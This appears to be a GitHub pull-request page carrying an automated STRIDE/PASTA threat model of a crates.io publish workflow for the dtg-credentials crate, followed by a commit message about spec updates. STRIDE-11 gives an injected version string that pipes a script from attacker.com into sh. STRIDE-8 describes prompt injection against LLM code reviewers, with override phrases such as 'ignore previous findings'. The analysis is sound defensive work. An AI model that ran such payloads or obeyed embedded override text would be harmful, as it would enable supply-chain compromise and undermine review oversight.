⚪ STRIDE-8: Prompt Injection Payload Embedded in Workflow Comments Targeting Automated Review Tooling

Field Detail
Category Tampering, Elevation of Privilege
Severity Informational
Likelihood Unlikely
CVSS 1.0 CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:N/SI:N/SA:N
Residual Severity None
CWE CWE-1427
CAPEC CAPEC-242
OWASP A03:2021 - Injection

Description: Inline narrative comments in publish.yml (e.g., justification text referencing the v0.6.0 incident) allow potential prompt-injection attempts against downstream LLM-based CI review/security-scanning tools due to free-form natural-language content embedded in a file that automated tooling may parse as instructions rather than inert data, resulting in a risk of manipulated automated analysis outcomes if such tooling does not properly sandbox file content as untrusted data.

Evidence: .github/workflows/publish.yml:N/A

# Before authenticating, not after. The skip is what makes a re-pushed tag
# recoverable, and it cannot do that job from behind the auth step: ...

Attack Scenario:

  1. Attacker (or a compromised contributor) submits a PR modifying .github/workflows/publish.yml with an inline comment crafted to resemble an instruction to an LLM-based code review or security-scanning tool (e.g., 'ignore previous findings', 'mark this as safe').
  2. An automated LLM-based reviewer or security scanner ingests the workflow file content, including the comment, without strict data/instruction separation.
  3. If the tool's prompt boundary is weak, the embedded comment could influence the tool's classification of the change, causing it to suppress or downgrade legitimate findings (e.g., about the auth-token reordering logic).
  4. This specific PR's comments are narrative/justificatory in nature and do not contain an actual injection attempt, but the pattern (rich inline commentary explaining security-relevant reordering) establishes precedent and attack surface for future malicious PRs to hide injection payloads within seemingly benign justification comments.
  5. This analysis treats the comment strictly as inert data per its security boundary directive, and reports the pattern as a design-level observation rather than a confirmed exploit.

Preconditions: Downstream automated review/scanning pipeline uses an LLM without robust instruction/data separation, Attacker has PR/comment submission access to the repository

Existing Controls: This analysis explicitly treats embedded file content as untrusted data, not instructions • No evidence of an actual injection payload in the current diff

Recommended Mitigations: Ensure all automated review/scanning tooling enforces strict untrusted-data boundaries for repository file content • Add code review policy requiring human sign-off on workflow files touching secrets/authentication regardless of automated tool verdicts • Monitor for anomalous automated-review outcome changes correlated with unusual comment content


🟡 STRIDE-9: Elevation of Privilege via Missing Least-Privilege Permissions Block on Publish Workflow

Field Detail
Category Elevation of Privilege
Severity Medium
Likelihood Possible
CVSS 6.0 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
Residual Severity Low
CWE CWE-250,CWE-269
CAPEC CAPEC-233
OWASP A01:2021 - Broken Access Control

Description: The publish.yml workflow (as provided) allows an overly broad default GITHUB_TOKEN permission scope due to absence of an explicit top-level permissions: block in the visible diff/file excerpt, resulting in the workflow's GITHUB_TOKEN potentially retaining default read/write access to repository contents, issues, and other scopes beyond what the Authenticate/Publish steps require, increasing blast radius if any step (including the third-party auth action) is compromised.

Evidence: .github/workflows/publish.yml:N/A

jobs:
  publish:
    # no visible top-level `permissions:` block in provided excerpt

Attack Scenario:

  1. Workflow file publish.yml does not show an explicit permissions: restriction scoping the automatic GITHUB_TOKEN to only what is needed (e.g., id-token: write for OIDC and nothing else).
  2. If the default repository/organization setting grants broad permissions (e.g., contents: write, issues: write) to all workflow GITHUB_TOKENs, any step in this job — including a compromised third-party action per STRIDE-3 — inherits that broader token.
  3. A compromised or malicious step could leverage the over-privileged GITHUB_TOKEN to modify repository contents, create releases, or manipulate other repository state beyond the intended crates.io publish action, compounding the impact of any single-step compromise.
  4. Combined with STRIDE-3 (compromised third-party action), this creates a chained attack path: action compromise → token exfiltration/misuse → repository-level tampering using the overly-broad GITHUB_TOKEN, not just the scoped crates.io Trusted Publishing token.

Preconditions: Repository/organization default GITHUB_TOKEN permissions are broader than least-privilege (not read-all or explicitly restricted), No permissions: block defined at workflow or job level in the file

Existing Controls: GitHub's newer default of read-only GITHUB_TOKEN for new repositories somewhat mitigates this if enabled • Trusted Publishing OIDC flow for crates.io is scoped independently of GITHUB_TOKEN

Recommended Mitigations: Add an explicit permissions: block at the workflow or job level scoped to minimum required (e.g., id-token: write, contents: read) • Audit organization-wide default token permission settings • Apply branch protection requiring review for changes to .github/workflows/*


🟡 STRIDE-10: Tag Spoofing Leading to Unauthorized Publish Trigger

Field Detail
Category Spoofing, Elevation of Privilege
Severity Medium
Likelihood Unlikely
CVSS 5.5 CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Residual Severity Low
CWE CWE-346,CWE-863
CAPEC CAPEC-196
OWASP A01:2021 - Broken Access Control

Description: The workflow's tag-push trigger (inferred, EP-001) allows unauthorized publish attempts due to reliance on git tag push events without evident branch/tag protection rules or signature verification in the visible workflow, resulting in a risk that any actor with write/tag-creation access (including a compromised low-privilege collaborator or CI bot token) could trigger a real crates.io publish of an unintended version.

Evidence: .github/workflows/publish.yml:N/A

jobs:
  publish:
    # trigger definition (on: push: tags) not shown in provided excerpt, inferred from EP-001

Attack Scenario:

  1. Attacker gains write access to the repository (e.g., via a compromised collaborator account, leaked deploy key, or an overly permissive bot integration) without needing full admin rights.
  2. Attacker creates and pushes a git tag (e.g., v9.9.9) matching the workflow's trigger pattern, without any tag-protection rule preventing non-maintainer tag creation.
  3. The publish workflow triggers automatically, runs cargo metadata against the current Cargo.toml version, executes the skip-check, and — if the version is not yet on crates.io — proceeds to Authenticate and Publish.
  4. Because Trusted Publishing binds only to the repository (not to a specific tag author's identity or a required reviewer approval), the attacker's tag push results in a legitimate, valid crates.io publish of whatever code is currently checked out at that ref, potentially including attacker-modified source if combined with a separate code-tampering vector.
  5. The published crate version is now live on crates.io, consumed by downstream users, achieving supply-chain impact without ever needing to steal the CARGO_REGISTRY_TOKEN directly.

Preconditions: Attacker has git push/tag-creation access to the repository, No tag protection rules (Settings > Tags > Protected tags) restricting who can push matching tags, No required PR review/approval gate before the tag-triggered workflow runs

Existing Controls: Trusted Publishing scopes the token to the repository identity, avoiding a long-lived static secret • GitHub repository collaborator permission model limits who can push at all

Recommended Mitigations: Configure GitHub tag protection rules restricting tag creation/push to maintainers only • Require manual approval (GitHub Environments with required reviewers) before the Publish job runs • Enforce signed/verified tags (git tag -s) and validate signature in the workflow before proceeding


🔵 STRIDE-11: Command Injection Risk via Unquoted/Unvalidated Version Variable in Shell Script

Field Detail
Category Tampering
Severity Low
Likelihood Very Unlikely
CVSS 2.7 CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Residual Severity None
CWE CWE-78,CWE-88
CAPEC CAPEC-88
OWASP A03:2021 - Injection

Description: The shell script in 'Skip if this version is already published' allows potential command injection via the version variable derived from cargo metadata output due to reliance on double-quoted interpolation ("$version") without explicit character-set validation, resulting in low-likelihood shell metacharacter injection if Cargo.toml's version field were ever attacker-controlled through a malicious dependency or unreviewed PR to the manifest.

Evidence: .github/workflows/publish.yml:N/A

version=$(cargo metadata --no-deps --format-version 1 | jq -r '.packages[0].version')
echo "version=${version}" >> "$GITHUB_OUTPUT"

Attack Scenario:

  1. Attacker submits a PR modifying Cargo.toml's [package] version field to include shell metacharacters (e.g., 1.0.0"; curl attacker.com/x.sh | sh; echo "), relying on the field not being strictly validated as semver before use.
  2. If merged, cargo metadata --no-deps --format-version 1 | jq -r '.packages[0].version' extracts this malformed string as version.
  3. The value is used in echo "version=${version}" >> "$GITHUB_OUTPUT" and again in --arg v "$version" for jq — both are double-quoted, which substantially mitigates classic word-splitting/injection, but any use of $version in an unquoted context elsewhere in the broader (not fully shown) script could be exploitable.
  4. Because cargo metadata itself would likely reject a non-semver-compliant version string at build time (Cargo enforces semver), this is a low-likelihood, defense-in-depth concern rather than a directly demonstrated exploit in the visible code.

Preconditions: Attacker can merge changes to Cargo.toml's version field, Some downstream use of $version is unquoted (not evidenced in the visible excerpt, but plausible given script length is truncated), Cargo's own semver validation is bypassed or absent

Existing Controls: Values are consistently double-quoted in the visible script ("$version") • Cargo enforces semver-compliant version strings, rejecting most injection-capable characters • set -euo pipefail reduces silent failure propagation

Recommended Mitigations: Explicitly validate $version against a strict semver regex before use in any shell context • Continue consistent quoting discipline throughout the full script • Add shellcheck to CI for this workflow file



🍝 PASTA Threat Model

Application Purpose

An automated GitHub Actions CI/CD pipeline that publishes the dtg-credentials Rust crate to crates.io using OIDC-based Trusted Publishing, providing reliable, idempotent, human-error-tolerant releases for a credentials-handling library consumed by downstream Rust projects.

Inherent Risks

  • Crate publish workflows inherently trust the CI environment and third-party GitHub Actions with the power to release software consumed by unknown downstream parties.
  • crates.io publishes are effectively permanent (yanking does not fully remove artifacts already downloaded), so any erroneous or malicious publish has long-lived impact.
  • The workflow depends on the continued integrity and availability of a third-party registry index endpoint outside the repository's control.

Objectives

Risk: Tolerate transient external service failures (crates.io index) without silently mispublishing; Accept residual risk from third-party GitHub Action dependency
Business: Ensure reliable, low-friction releases of the dtg-credentials crate to crates.io; Avoid manual/hand-publishing that circumvents CI review and audit trail
Security: Avoid exposing long-lived crates.io API tokens in the repository or logs; Ensure only authorized, reviewed code is published under the dtg-credentials crate name; Limit blast radius of a compromised CI step or third-party action
Financial: Minimize CI compute cost from redundant or failed publish attempts
Compliance: Align with npm/crates.io ecosystem supply-chain security guidance (e.g., Trusted Publishing over static tokens); Maintain auditability of release actions for downstream consumer trust
Functional: Automatically detect whether a given crate version is already published and skip redundant work; Authenticate to crates.io using short-lived Trusted Publishing tokens instead of static secrets; Publish the crate via cargo publish --locked when appropriate
Operational: Make tag re-pushes recoverable after partial publish failures without manual intervention; Maintain idempotent publish behavior across repeated workflow triggers

Business Impact Analysis (1)

BIA-1: Automated Crate Release Pipeline (High)

The end-to-end process of building, verifying, authenticating, and publishing a new dtg-credentials crate version to crates.io in response to a version tag push.

MTD: 02 days 00:00 hours | RTO: 00 days 04:00 hours | RPO: 00 days 00:00 hours

  • Stakeholders: Crate Maintainers / Downstream Rust Developers Consuming dtg-credentials / GitHub Actions Platform / crates.io Registry Operators
  • Dependencies: GitHub Actions Runner Infrastructure / rust-lang/crates-io-auth-action / crates.io Sparse Index (index.crates.io) / crates.io Publish API / Cargo Toolchain
  • Disruptions: crates.io index or publish API outage during a release window / Compromise of the crates-io-auth-action third-party dependency / Malicious or accidental tag push triggering an unintended publish / Race condition between concurrent workflow runs causing duplicate publish attempts
  • Impacts: Delayed security patch delivery to downstream consumers (qualitative: high urgency) / Reputational damage if a malicious/compromised version is published under the trusted crate name / Potential legal/compliance exposure if dtg-credentials handles sensitive credential material and a tampered version is distributed / Wasted CI compute and OIDC token exchange attempts on failed/duplicate runs

Technical Scope

Roles (3): RO-1 Repository Maintainer · RO-2 CI Runner Service Identity · RO-3 Downstream Crate Consumer

Actors (3): AC-1 Repository Maintainer · AC-2 GitHub Actions Runner · AC-3 crates-io-auth-action Process

Entry Points (4): EP-1 Tag Push Trigger · EP-2 crates.io Index Query · EP-3 OIDC Trusted Publishing Exchange · EP-4 Crate Publish Submission

Threat Actors (3): TA-1 Supply Chain Attacker · TA-2 Malicious/Compromised Insider Collaborator · TA-3 Opportunistic Network Attacker

Infrastructure (1): IF-1 GitHub-Hosted Actions Runner

Trust Boundaries (3): TB-1 GitHub Actions Runner Boundary · TB-2 crates.io External Registry Boundary · TB-3 GitHub Repository Control Plane Boundary

External Entities (2): EE-1 crates.io Registry Service · EE-2 rust-lang GitHub Organization (Action Publisher)

System Components (4): SC-1 Publish Workflow Job · SC-2 crates-io-auth-action (Third-Party Action) · SC-3 crates.io Sparse Index · SC-4 crates.io Publish API

Resources And Assets (3): RA-1 CARGO_REGISTRY_TOKEN · RA-2 dtg-credentials Crate Package Artifact · RA-3 Skip/Publish Decision State

Technologies And Dependencies (5): TD-1 GitHub Actions · TD-2 rust-lang/crates-io-auth-action · TD-3 cargo · TD-4 jq · TD-5 curl

Use Cases (1)

  • Automated Crate Version Publish on Tag Push: A maintainer pushes a new version tag, triggering the workflow to check whether the version is already on crates.io, authenticate via OIDC Trusted Publishing if not, and publish the crate.

📋 Risk Registry (7)

ID Title Severity Residual Priority Effort
RISK-1 External registry index tampering causes incorrect publish/skip decisions High Medium Short-Term Low
RISK-2 Compromise of pinned-by-tag third-party GitHub Action leads to token theft and unauthorized crate publish High Medium Immediate Low
RISK-3 Concurrent workflow runs or manual publishes create a TOCTOU race causing duplicate/failed publish attempts Medium Low Short-Term Low
RISK-4 Overly broad default GITHUB_TOKEN permissions increase blast radius of any compromised workflow step Medium Low Immediate Low
RISK-5 Lack of tag/branch protection allows unauthorized actors with write access to trigger unintended publishes Medium Low Medium-Term Medium
RISK-6 Insufficient audit trail for publish/skip decisions hampers incident forensics Low Low Long-Term Medium
RISK-7 Single external dependency (crates.io index) availability directly gates release capability Low Low Long-Term Low

⚔️ Attack Scenarios (3)

SC-1: Publish Workflow Job

---
config:
  layout: dagre
  look: classic
  theme: dark
---
flowchart LR
  subgraph SL1["1. System Component"]
    direction LR
    SC1@{ shape: rect, label: "SC-1: Publish Workflow Job" }
  end
  subgraph SL2["2. Weaknesses"]
    direction LR
    CWE345@{ shape: rect, label: "CWE-345: Insufficient Verification of Data Authenticity" }
    CWE703@{ shape: rect, label: "CWE-703: Improper Check for Unusual Conditions" }
    CWE367@{ shape: rect, label: "CWE-367: TOCTOU Race Condition" }
  end
  subgraph SL3["3. Attack Patterns"]
    direction LR
    CAPEC94@{ shape: rect, label: "CAPEC-94: Adversary in the Middle" }
    CAPEC227@{ shape: rect, label: "CAPEC-227: Sustained Client Engagement" }
    CAPEC25@{ shape: rect, label: "CAPEC-25: Forced Deadlock" }
  end
  subgraph SL4["4. Threats"]
    direction LR
    T1@{ shape: rect, label: "STRIDE-1: Skip-Check Response Spoofing<br><i>High / Possible</i>" }
    T2@{ shape: rect, label: "STRIDE-2: Publish Decision Bypass<br><i>Medium / Likely</i>" }
    T5@{ shape: rect, label: "STRIDE-5: TOCTOU Race Condition<br><i>Medium / Possible</i>" }
  end
  subgraph SL5["5. Threat Actors"]
    direction LR
    TA3@{ shape: rect, label: "TA-3: Opportunistic Network Attacker<br><i>Manipulate CI network traffic</i>" }
    TA2@{ shape: rect, label: "TA-2: Malicious Insider Collaborator<br><i>Abuse repository write access</i>" }
  end
  CWE345 --> CAPEC94 --> T1 --> TA3
  CWE703 --> CAPEC227 --> T2 --> TA3
  CWE367 --> CAPEC25 --> T5 --> TA2
  SC1 --> CWE345
  SC1 --> CWE703
  SC1 --> CWE367
  linkStyle 0 stroke:#FF0000,stroke-width:2px
  linkStyle 1 stroke:#FF0000,stroke-width:2px
  linkStyle 2 stroke:#FF0000,stroke-width:2px
  linkStyle 3 stroke:#FFA500,stroke-width:2px
  linkStyle 4 stroke:#FFA500,stroke-width:2px
  linkStyle 5 stroke:#FFA500,stroke-width:2px
  linkStyle 6 stroke:#FFA500,stroke-width:2px
  linkStyle 7 stroke:#FFA500,stroke-width:2px
  linkStyle 8 stroke:#FFA500,stroke-width:2px
Loading

SC-2: crates-io-auth-action (Third-Party Action)

---
config:
  layout: dagre
  look: classic
  theme: dark
---
flowchart LR
  subgraph SL1["1. System Component"]
    direction LR
    SC2@{ shape: rect, label: "SC-2: crates-io-auth-action" }
  end
  subgraph SL2["2. Weaknesses"]
    direction LR
    CWE1357@{ shape: rect, label: "CWE-1357: Reliance on Insufficiently Trustworthy Component" }
    CWE532@{ shape: rect, label: "CWE-532: Insertion of Sensitive Info into Log File" }
  end
  subgraph SL3["3. Attack Patterns"]
    direction LR
    CAPEC538@{ shape: rect, label: "CAPEC-538: Open-Source Library Manipulation" }
    CAPEC117@{ shape: rect, label: "CAPEC-117: Interception" }
  end
  subgraph SL4["4. Threats"]
    direction LR
    T3@{ shape: rect, label: "STRIDE-3: Supply Chain Compromise<br><i>High / Possible</i>" }
    T4@{ shape: rect, label: "STRIDE-4: Token Leakage via Logging<br><i>Medium / Unlikely</i>" }
  end
  subgraph SL5["5. Threat Actors"]
    direction LR
    TA1@{ shape: rect, label: "TA-1: Supply Chain Attacker<br><i>Compromise CI pipeline for downstream impact</i>" }
  end
  CWE1357 --> CAPEC538 --> T3 --> TA1
  CWE532 --> CAPEC117 --> T4 --> TA1
  SC2 --> CWE1357
  SC2 --> CWE532
  linkStyle 0 stroke:#FF0000,stroke-width:2px
  linkStyle 1 stroke:#FF0000,stroke-width:2px
  linkStyle 2 stroke:#FFA500,stroke-width:2px
  linkStyle 3 stroke:#FFA500,stroke-width:2px
  linkStyle 4 stroke:#FF0000,stroke-width:2px
  linkStyle 5 stroke:#FFA500,stroke-width:2px
Loading

SC-1: Publish Workflow Job (Access Control Weaknesses)

---
config:
  layout: dagre
  look: classic
  theme: dark
---
flowchart LR
  subgraph SL1["1. System Component"]
    direction LR
    SC1B@{ shape: rect, label: "SC-1: Publish Workflow Job" }
  end
  subgraph SL2["2. Weaknesses"]
    direction LR
    CWE250@{ shape: rect, label: "CWE-250: Execution with Unnecessary Privileges" }
    CWE346@{ shape: rect, label: "CWE-346: Origin Validation Error" }
    CWE778@{ shape: rect, label: "CWE-778: Insufficient Logging" }
  end
  subgraph SL3["3. Attack Patterns"]
    direction LR
    CAPEC233@{ shape: rect, label: "CAPEC-233: Privilege Escalation" }
    CAPEC196@{ shape: rect, label: "CAPEC-196: Session Credential Falsification" }
    CAPEC93@{ shape: rect, label: "CAPEC-93: Log Injection-Tampering-Forging" }
  end
  subgraph SL4["4. Threats"]
    direction LR
    T9@{ shape: rect, label: "STRIDE-9: Missing Least-Privilege Permissions<br><i>Medium / Possible</i>" }
    T10@{ shape: rect, label: "STRIDE-10: Tag Spoofing<br><i>Medium / Unlikely</i>" }
    T6@{ shape: rect, label: "STRIDE-6: Missing Non-Repudiation<br><i>Low / Likely</i>" }
  end
  subgraph SL5["5. Threat Actors"]
    direction LR
    TA2B@{ shape: rect, label: "TA-2: Malicious Insider Collaborator<br><i>Abuse repository write access</i>" }
  end
  CWE250 --> CAPEC233 --> T9 --> TA2B
  CWE346 --> CAPEC196 --> T10 --> TA2B
  CWE778 --> CAPEC93 --> T6 --> TA2B
  SC1B --> CWE250
  SC1B --> CWE346
  SC1B --> CWE778
  linkStyle 0 stroke:#FFA500,stroke-width:2px
  linkStyle 1 stroke:#FFA500,stroke-width:2px
  linkStyle 2 stroke:#FFA500,stroke-width:2px
  linkStyle 3 stroke:#00FF00,stroke-width:2px
  linkStyle 4 stroke:#00FF00,stroke-width:2px
  linkStyle 5 stroke:#00FF00,stroke-width:2px
Loading

📊 Risk Summary

Total Threats: 11

By Severity: Low: 3 · High: 2 · Medium: 5 · Informational: 1

By Category: Spoofing: 2 · Tampering: 6 · Denial of Service: 3 · Information Disclosure: 2 · Elevation of Privilege: 4 · Repudiation: 1

🎯 Attack Surface

Kill Chain 1: An opportunistic network attacker with on-path capability against the CI runner's egress traffic (TA-3) spoofs or tampers with the unauthenticated HTTPS response from the crates.io sparse index (SC-3, STRIDE-1), causing the skip-check logic (SC-1) to reach an incorrect publish/skip decision; combined with the error-suppressing curl ... 2>/dev/null fallback (STRIDE-2), this can either mask a real duplicate-publish attempt or silently prevent a legitimate release from occurring, directly undermining the release pipeline's core business objective of reliable, idempotent publishing. Kill Chain 2: A supply-chain attacker (TA-1) compromises the upstream rust-lang/crates-io-auth-action repository and re-points its mutable v1 tag (STRIDE-3), so that the next dtg-credentials release job unknowingly executes malicious action code with access to the OIDC-derived CARGO_REGISTRY_TOKEN (RA-1); if that token is also inadequately masked in logs (STRIDE-4) or the workflow lacks least-privilege permissions: scoping (STRIDE-9), the attacker can pivot from a single compromised dependency to full unauthorized publish of a malicious crate version (RA-2) under the trusted dtg-credentials name, achieving broad downstream supply-chain compromise. Kill Chain 3: A malicious or compromised insider collaborator (TA-2) with mere tag-push rights (no admin/publish-token access required) exploits the absence of tag protection rules (STRIDE-10) to push an unauthorized version tag, triggering the full publish workflow (EP-1 → SC-1 → EP-3 → EP-4) end-to-end via the legitimate Trusted Publishing flow; combined with a concurrent TOCTOU race (STRIDE-5) against a simultaneous legitimate release, this could result in either a duplicate/conflicting publish or a maintainer's genuine release being silently superseded, all while insufficient audit logging (STRIDE-6) hampers post-incident attribution of which actor's tag push actually caused the resulting crates.io state.

🛡️ Risk Mitigation Strategy

Priority 1 (Immediate): Pin the rust-lang/crates-io-auth-action dependency to an immutable commit SHA rather than the mutable v1 tag, and add an explicit least-privilege permissions: block to the workflow scoping the GITHUB_TOKEN to only id-token: write (and contents: read if needed) — these two changes directly close the highest-severity supply-chain and privilege-escalation gaps (RISK-2, RISK-4) with minimal implementation effort and no functional regression. Priority 2 (Short-Term): Harden the skip-check logic in the 'Skip if this version is already published' step to fail closed on ambiguous or failed curl/jq results rather than defaulting to published=false, and add a GitHub Actions concurrency: group keyed on the crate/tag to eliminate the TOCTOU race between concurrent workflow runs (RISK-1, RISK-3) — both changes are low-effort script/workflow-metadata edits that directly address the reliability regression this PR was intended to fix without reintroducing the original v0.6.0 incident's failure mode. Priority 3 (Medium-Term): Configure GitHub tag protection rules to restrict who can push release-triggering tags, and consider requiring manual approval via GitHub Environments before the Authenticate/Publish steps execute, closing the gap where any collaborator with mere tag-push access can trigger a full crates.io publish (RISK-5). Priority 4 (Long-Term): Improve non-repudiation and availability resilience by forwarding workflow run outcomes and skip/publish decisions to an external, longer-retention audit log with explicit actor/commit/tag metadata, and add a manual override mechanism to bypass the crates.io index check during known registry outages, ensuring future incidents (like the one referenced in the workflow's own comments) can be diagnosed quickly and releases are not indefinitely blocked by third-party availability issues (RISK-6, RISK-7).


Generated by Agentic Sec — Threat Model & Affect Analysis Agent

📊 Summary & findings
✅ Confirmed ⚠️ Must-Review-By-Human
4 0

Confirmed (4)

  • 🟡 Third-party GitHub Action used without pinning to a commit SHA (triaged HIGH→MEDIUM)
  • 🔵 Unauthenticated version-check response used to gate publish step without integrity verification (triaged MEDIUM→LOW)
  • 🔵 crates.io registry token passed via environment variable to publish step (triaged MEDIUM→LOW)
  • 🟡 curl failure output suppressed with 2>/dev/null masking error conditions (triaged LOW→MEDIUM)

stormer78 added a commit that referenced this pull request Sep 8, 2026
* chore(deps): update to current releases

Three of these are semver-major. `sha2` 0.10 -> 0.11 is the one worth noting:
`affinidi-data-integrity` already pulls `sha2` 0.11 through `affinidi-crypto`, so
the library was linking two copies of it and hashing with the older one. The
library graph now carries a single `sha2`. Digest output is unchanged, which the
tests pinning known digests confirm.

The rest are dev-dependencies, so they affect the examples rather than the crate:
`affinidi-tdk` 0.10 -> 0.12, `chacha20poly1305` 0.10 -> 0.11, and `rand` 0.8 ->
0.10. The `data_room` example moves to the `rand` 0.10 API (`rand::rng()`,
`rand::Rng`) and off the now-deprecated `Key::from_slice` / `Nonce::from_slice`.

Everything else moves within its existing range via `cargo update`. Only
`generic-array` stays behind latest, held there by a transitive constraint.

Signed-off-by: Glenn Gore <glenn.g@affinidi.com>

* feat!: bring the library up to Working Draft 02

Both drafts 0.6.0 tracked have merged upstream - the VAC as PR #29 and the VDC as
PR #19 - and the digest encoding changed underneath them. Breaking on the wire as
well as in the API.

The digest encoding. Working Draft 02 replaced `sha256:<lowercase hex>` with a
base58btc multibase multihash and renamed the property from `digest` to
`digestMultibase`. `digest_multibase()` becomes the conformant digest and now
excludes the top-level `proof`, which is what it was deprecated for; `digest()`
and `digest_json()` are deprecated but emit the old form unchanged, so a caller
migrating can recompute a stored digest to compare. The old property name is
still accepted when parsing, so credentials issued against WD01 deserialize -
their values then fail with `InvalidDigest` rather than as a silent mismatch.

Digests are compared as decoded bytes, never strings. The specification requires
it because one digest has more than one spelling, and a string comparison would
report a mismatch where the two credentials agree. An unimplemented hash
algorithm is rejected rather than treated as a mismatch: a governing party may
require a stronger hash, and conflating the two would silently downgrade that
choice into a failed comparison.

`authority.parent` is now a digest rather than an `id`. A digest names nothing
that can be fetched, so verification cannot come to depend on network
availability, a verifier cannot be induced to request an address of the holder's
choosing, and nobody hosting an identifier learns when a credential is used. It
also binds a link to the exact claims its issuer narrowed from: re-issuing a
parent orphans its children, while re-proofing leaves them alone. Adds
`attenuate_from_json` for a parent that arrived from a counterparty, and an
`AuthorityError::Digest` kept distinct from `BrokenLink` - a malformed chain and
a widening one are different findings.

The VDC, which was previously a type string over a bare subject. Now carries a
`delegation` object, forms a grant/acceptance edge, and has chain verification.
The acceptance is required: a grant alone establishes what the delegator
appointed, not what the delegate agreed to, and a delegator cannot produce the
countersignature. Re-delegation is opt-in, the opposite default from attenuation,
because a delegate speaks in the principal's name and the principal keeps the
register of who may do so. `delegation::verify_chain` returns what the chain
appoints for and deliberately not whether the act is permitted - a VDC moves the
permission question, it does not answer it.

`validUntil` becomes REQUIRED on a VAC and a VDC. For a VAC the reasoning is
sharper: nothing about the subject's current standing is consulted at
verification, so authority that does not expire is authority nobody can withdraw
by waiting.

`credentialStatus` is modelled and `DTGCommon::extra` preserves unmodelled
top-level members, both because a parse-then-re-serialise used to drop them and
silently change a credential's digest. That narrows rather than closes the hazard
- a timestamp is still normalized on the way out - so the wire-form constructors
remain the safe habit, with a test pinning exactly that. Status is modelled but
not resolved; no revocation checking happens anywhere in this crate.

Fixes one real bug: `new_member_vmc` probed `credentialSubject` for `digest` to
tell a grant from an acknowledgement, and after the rename would have accepted an
acknowledgement as a grant.

Deliberately not implemented: the three VAC changes in flight upstream -
revocation (PR #39), a `maxAttenuation` ceiling (PR #40), and key control at
invocation, which removes `audience` (PR #41). `audience` stays until that lands
rather than removing a shipped field twice. Correlation scope (PR #30) retired
the R-DID/M-DID/C-DID/P-DID types, but the specification has not yet named the
property carrying the declaration, so only the retired names leave the docs.

115 tests, up from 73. `tests/delegation_chain.rs` is new and, like
`authority_chain.rs`, is mostly attacks: what makes either credential safe is a
verifier refusing a chain that widens.

Signed-off-by: Glenn Gore <glenn.g@affinidi.com>

---------

Signed-off-by: Glenn Gore <glenn.g@affinidi.com>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants